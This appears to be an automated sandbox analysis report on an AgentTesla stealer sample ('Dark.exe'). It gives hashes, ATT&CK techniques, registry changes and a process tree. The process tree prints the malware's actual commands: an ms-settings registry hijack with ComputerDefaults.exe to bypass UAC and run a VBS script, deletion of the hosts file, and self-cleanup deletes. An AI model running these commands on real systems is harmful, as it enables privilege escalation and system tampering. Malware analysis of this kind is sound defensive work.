agenttesla | f722a7285a79f697284d7e376ea3122398c84be2a13eed2b2470ff03d752faad

Analysis

max time kernel
26s
max time network
27s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
29/08/2024, 18:53

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General

Target

Dark.exe
Size

2.2MB
MD5

b0c952e0a98835d76da62b3bd4cb7828
SHA1

eb7fb06d56bdf35a8d253debf56b4fad947d5505
SHA256

f722a7285a79f697284d7e376ea3122398c84be2a13eed2b2470ff03d752faad
SHA512

26b1654de14667ed5181e136cf70394f280c85758782e28fae86675e93466602f7fdd3d8c1efd0b4a70bb9ddc8be4e527e45797c433067935062c64465245d7c
SSDEEP

49152:/0X0AsmM6YOcXExsPq2QdGcrkEhsuC06aGHYxKGOoz:/tAsmy/y90V8oHlZ

Score

10^/10

agenttesla defense_evasion discovery keylogger spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral2/memory/2068-32-0x0000000006340000-0x0000000006552000-memory.dmp	family_agenttesla

Executes dropped EXE 2 IoCs

pid	Process
1052	Com.exe
2068	DarkWare.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
22	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkWare.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3396	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	DarkWare.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	DarkWare.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	DarkWare.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell\Open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\24207.vbs"	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2068	DarkWare.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4732 wrote to memory of 1052	4732	Dark.exe	82
PID 4732 wrote to memory of 1052	4732	Dark.exe	82
PID 4732 wrote to memory of 2068	4732	Dark.exe	83
PID 4732 wrote to memory of 2068	4732	Dark.exe	83
PID 4732 wrote to memory of 2068	4732	Dark.exe	83
PID 1052 wrote to memory of 2064	1052	Com.exe	85
PID 1052 wrote to memory of 2064	1052	Com.exe	85
PID 2064 wrote to memory of 3368	2064	cmd.exe	87
PID 2064 wrote to memory of 3368	2064	cmd.exe	87
PID 1052 wrote to memory of 4756	1052	Com.exe	88
PID 1052 wrote to memory of 4756	1052	Com.exe	88
PID 4756 wrote to memory of 3536	4756	cmd.exe	90
PID 4756 wrote to memory of 3536	4756	cmd.exe	90
PID 4756 wrote to memory of 2080	4756	cmd.exe	91
PID 4756 wrote to memory of 2080	4756	cmd.exe	91
PID 1052 wrote to memory of 4252	1052	Com.exe	93
PID 1052 wrote to memory of 4252	1052	Com.exe	93
PID 4252 wrote to memory of 5056	4252	cmd.exe	95
PID 4252 wrote to memory of 5056	4252	cmd.exe	95
PID 5056 wrote to memory of 1924	5056	ComputerDefaults.exe	96
PID 5056 wrote to memory of 1924	5056	ComputerDefaults.exe	96
PID 1924 wrote to memory of 1812	1924	wscript.exe	97
PID 1924 wrote to memory of 1812	1924	wscript.exe	97
PID 1052 wrote to memory of 2060	1052	Com.exe	100
PID 1052 wrote to memory of 2060	1052	Com.exe	100
PID 1052 wrote to memory of 1036	1052	Com.exe	102
PID 1052 wrote to memory of 1036	1052	Com.exe	102
PID 1036 wrote to memory of 4780	1036	cmd.exe	104
PID 1036 wrote to memory of 4780	1036	cmd.exe	104
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 1052 wrote to memory of 4660	1052	Com.exe	108
PID 2068 wrote to memory of 2244	2068	DarkWare.exe	109
PID 2068 wrote to memory of 2244	2068	DarkWare.exe	109
PID 2068 wrote to memory of 2244	2068	DarkWare.exe	109
PID 2244 wrote to memory of 2796	2244	cmd.exe	111
PID 2244 wrote to memory of 2796	2244	cmd.exe	111
PID 2244 wrote to memory of 2796	2244	cmd.exe	111
PID 2796 wrote to memory of 3396	2796	cmd.exe	113
PID 2796 wrote to memory of 3396	2796	cmd.exe	113
PID 2796 wrote to memory of 3396	2796	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\Dark.exe
"C:\Users\Admin\AppData\Local\Temp\Dark.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Users\Admin\AppData\Local\Temp\Com.exe
  "C:\Users\Admin\AppData\Local\Temp\Com.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2064
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:3368
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\24207.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4756
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\24207.vbs" /f
      4⤵
      Modifies registry class
      PID:3536
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:2080
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5056
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\24207.vbs
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1924
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
        6⤵
        
        PID:1812
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\24207.vbs
    3⤵
    PID:2060
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1036
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:4780
- - C:\Windows\System32\dllhost.exe
    "C:\Windows\System32\dllhost.exe"
    3⤵
    PID:4660
- C:\Users\Admin\AppData\Local\Temp\DarkWare.exe
  "C:\Users\Admin\AppData\Local\Temp\DarkWare.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c start cmd /C "color b && title Error && echo Signature checksum failed. Request was tampered with or session ended most likely. & echo: & echo Response: {"success":false,"message":"Session not found. Use latest code. You can only have app opened 1 at a time."} && timeout /t 5"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "color b && title Error && echo Signature checksum failed. Request was tampered with or session ended most likely. & echo: & echo Response: {"success":false,"message":"Session not found. Use latest code. You can only have app opened 1 at a time."} && timeout /t 5"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2796
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
1KB

MD5
7fb5fa1534dcf77f2125b2403b30a0ee

SHA1
365d96812a69ac0a4611ea4b70a3f306576cc3ea

SHA256
33a39e9ec2133230533a686ec43760026e014a3828c703707acbc150fe40fd6f

SHA512
a9279fd60505a1bfeef6fb07834cad0fd5be02fd405573fc1a5f59b991e9f88f5e81c32fe910f69bdc6585e71f02559895149eaf49c25b8ff955459fd60c0d2e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

Filesize
436B

MD5
971c514f84bba0785f80aa1c23edfd79

SHA1
732acea710a87530c6b08ecdf32a110d254a54c8

SHA256
f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

SHA512
43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
174B

MD5
acbe9eb2299fd350d6d73686d1db85d6

SHA1
405656d06203357cb7eafd40e22d7e55db2869f8

SHA256
f0eb0a941e997c5f600dadc2610e06208112a5d78db3bca1bfad49adde496376

SHA512
f3fad4ca824d7255cfa0ecb97951ad447d073c977196bc8f998b93d0668fff8ac1d49ef4c955723309427372a9d4999f5456d7ed51d5a4d465c38be91f13b5ed

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

Filesize
170B

MD5
7aa8f745963f2cfb01d987d5dbcebb96

SHA1
c58169d13384f7bf3691350f59a49a4bf010c242

SHA256
aeb37235e5bd7ef6e0b738be6a37a9ccc61a3bcde0cea3202121208669125918

SHA512
8f2468af9261fc3126dbf71bbf9121d08c78434cd134dd1ddb5c5637370534f5f6fda9f75d30e91d401f7aeab879f69a1cd6f30df9fd7abe053bab5969599ed4

Download Submit
C:\Users\Admin\AppData\Local\Temp\24207.vbs

Filesize
125B

MD5
8b4ed5c47fdddbeba260ef11cfca88c6

SHA1
868f11f8ed78ebe871f9da182d053f349834b017

SHA256
170226b93ac03ac3178c0429577626add00665e1d71be650a4c46674f6e262a5

SHA512
87e5bcaa143e616c365557f5af73e131a10eb380016633b8c7e38c83b0a216a8f6768cfa0166fad208d47830808444517e57d07d850ff2bd575ca67bad9eabdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\Com.exe

Filesize
230KB

MD5
f08723bcb5c94651b8df18a3ad027460

SHA1
e9f855543aab8f383a34d6a738889034daa6b5a3

SHA256
b8ca9e14e7adaa62220329b33138336146a2b3188215fcbd38365efc2f756460

SHA512
3f647c85345e08d533d15a3fab7394da3caff2b4fdbaaa83946321312f3f17d5cba018309d4b2206f083f9fd90f568c27399932c2ae5ae79200a05d6dd0da589

Download Submit
C:\Users\Admin\AppData\Local\Temp\DarkWare.exe

Filesize
2.0MB

MD5
20f94ee7f660352e0c8a14810a183350

SHA1
1a39916394380b3ba2fba53249fa82ffc88e2876

SHA256
7f14473c3d2bc352e829f2c15754cf8a41f43bbadd9413b5765c65913660a922

SHA512
c1c4933d81234507cad12a524426e69096f28f710e61ad1a0cdb011567c6ca9b67bf24e2f74d87d1df8d7462de08add33bdbb0d4628efd4d55f6fe0bac96125e

Download Submit
memory/1052-11-0x000001F11E6A0000-0x000001F11E6A1000-memory.dmp

Filesize
4KB

Download
memory/2068-47-0x0000000074780000-0x0000000074F31000-memory.dmp

Filesize
7.7MB

Download
memory/2068-46-0x000000007478E000-0x000000007478F000-memory.dmp

Filesize
4KB

Download
memory/2068-29-0x0000000005050000-0x00000000050E2000-memory.dmp

Filesize
584KB

Download
memory/2068-28-0x0000000005560000-0x0000000005B06000-memory.dmp

Filesize
5.6MB

Download
memory/2068-30-0x0000000074780000-0x0000000074F31000-memory.dmp

Filesize
7.7MB

Download
memory/2068-31-0x0000000006150000-0x000000000618C000-memory.dmp

Filesize
240KB

Download
memory/2068-32-0x0000000006340000-0x0000000006552000-memory.dmp

Filesize
2.1MB

Download
memory/2068-33-0x0000000006590000-0x000000000659A000-memory.dmp

Filesize
40KB

Download
memory/2068-26-0x0000000000430000-0x0000000000630000-memory.dmp

Filesize
2.0MB

Download
memory/2068-27-0x0000000004EB0000-0x0000000004EC2000-memory.dmp

Filesize
72KB

Download
memory/2068-62-0x0000000074780000-0x0000000074F31000-memory.dmp

Filesize
7.7MB

Download
memory/2068-25-0x000000007478E000-0x000000007478F000-memory.dmp

Filesize
4KB

Download
memory/4660-50-0x0000020AC3550000-0x0000020AC379D000-memory.dmp

Filesize
2.3MB

Download
memory/4660-56-0x0000020AC3550000-0x0000020AC379D000-memory.dmp

Filesize
2.3MB

Download
memory/4660-49-0x0000020AC3550000-0x0000020AC379D000-memory.dmp

Filesize
2.3MB

Download
memory/4732-24-0x00007FFA978D0000-0x00007FFA98392000-memory.dmp

Filesize
10.8MB

Download
memory/4732-3-0x00007FFA978D0000-0x00007FFA98392000-memory.dmp

Filesize
10.8MB

Download
memory/4732-1-0x0000000000540000-0x000000000077A000-memory.dmp

Filesize
2.2MB

Download
memory/4732-0-0x00007FFA978D3000-0x00007FFA978D5000-memory.dmp

Filesize
8KB

Download